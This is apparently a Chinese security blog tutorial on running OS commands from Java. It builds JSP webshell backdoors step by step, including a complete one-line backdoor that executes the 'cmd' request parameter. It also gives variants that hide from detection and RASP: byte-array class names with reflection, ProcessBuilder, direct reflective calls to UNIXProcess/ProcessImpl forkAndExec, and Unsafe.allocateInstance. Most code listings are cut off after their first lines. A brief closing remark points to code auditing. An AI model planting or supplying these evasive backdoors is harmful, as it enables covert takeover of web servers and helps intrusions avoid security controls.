Java基础:Java本地命令执行
最后更新时间:
文章总字数:
预计阅读时间:
Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞
或者WebShell
来执行系统终端命令控制服务器的目的。本文主要探讨各种本地命令执行的方式。
Runtime命令执行
最基础最简单的java命令执行方法:Runtime.getRuntime().exec("cmd")
,但是java的命令执行并不会进行主动回显,我们需要把回显读出来:
1 | public static void main(String[] args) throws Exception { |
https://blog.csdn.net/Xxy605/article/details/121349736
这篇文章里有常规命令执行的payload
JSP后门写法
Idea创建web项目访问jsp_web项目访问jsp页面_恶魔青叶的博客-CSDN博客
首先请参考这篇文章创建一个web项目,配置好tomcat服务器,运行时看到hello即成功。
接下来在webapp下创建一个backdoor.jsp,写入这行命令执行代码<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
,注意在jsp中写java代码需要用<%=%>
包起来,这个时候可能会发现getParameter标红了,无法找到。这是因为缺少依赖,解决方法很简单,将tomcat中的lib包导入依赖即可,具体请参考下面这篇文章。
无法解析 JSP 中的方法 getParameter()_无法解析getparameter_federer111的博客-CSDN博客
然后可以尝试写有回显的后门:
1 | <%@ page import="java.io.InputStream" %> |
注意这里的多行java代码需要用<%%>
包裹而不是单行的<%=%
,另外还需要注意一个问题,java的命令执行并没有直接与shell交互,所以在执行命令的时候需要注意先获取再执行,win系统下cmd /c dir
,linux系统下/bin/sh -c xxx
反射Runtime命令执行
代码中出现runtime关键字很容易被拦截,我们可以采用byte数组转成字符串和反射来进行命令执行。
首先先获得需要的反射的类名的byte[]:
1 | import java.util.Arrays; |
然后利用字节码获取String避免出现runtime,并通过反射获得对象和方法:
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
ProcessBuilder命令执行
跟踪一下exec方法是怎么执行命令的,可以看到经过几层包装,其实是传递给了ProcessBuilder来执行命令,具体如下图所示,new ProcessBuilder(cmdarray).start()。
于是我们在Runtime被ban的情况下也可以使用ProcessBuilder来命令执行:
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
UNIXProcess/ProcessImpl命令执行
其实Runtime命令执行完整的链子是这样的,从下往上:
1 | java.lang.UNIXProcess.<init>(UNIXProcess.java:247) |
最终执行命令的地方在UNIXProcess和ProcessImpl的native方法forkAndExec中,这两个可以理解为一个东西,因为他们在JDK9中合并了。
那么我们只需要直接调用UNIXProcess或ProcessImpl实现命令执行或者直接反射获取forkAndExec方法即可执行命令执行,可以绕过RASP(他们只防御到了ProcessBuilder),下面是jsp后门,这里需要注意Win系统和Unix内核系统的ProcessImpl/UNIXProcess构建7有所不同,故命令执行有不同的版本,但是原理还是一样的:
1 | // 反射UNIXProcess/ProcessImpl执行系统命令 |
之后可以总结一下日常需要用到的java方法(字节码转换,inputStream输出,命令执行等等),打成jar包,方便调用。
Unsafe获取UNIXProcess/ProcessImpl对象命令执行
这个方法其实就是上一个方法的进阶,如果把UNIXProcess/ProcessImpl类的构造方法拦截了,依然可以通过Unsafe创建对象来正常反射调用。
- 使用
sun.misc.Unsafe.allocateInstance(Class)
特性可以无需new
或者newInstance
创建UNIXProcess/ProcessImpl
类对象。 - 反射
UNIXProcess/ProcessImpl
类的forkAndExec
方法。 - 构造
forkAndExec
需要的参数并调用。 - 反射
UNIXProcess/ProcessImpl
类的initStreams
方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl
类的getInputStream
方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
其实就变了第一步,记得Unsafe对象也不能直接获取,需要反射获得theUnsafe字段的值:
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
总结
代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl
等关键词,这样可以快速找出命令执行点。然后就可以往上寻找是否有调用链了。
本文通过分析exec的调用路径探讨了不同层级的命令执行方法,Runtime到ProcessBuilder到UNIXProcess/ProcessImpl,并且分析了如果检测某些方法,就可以使用字节码转字符串加反射来执行,另外如果不允许创建实例还可以通过Unsafe的allocateInstance来创建。同时学会了使用tomcat开服务访问jsp,以及jsp的基本语法和后门的编写。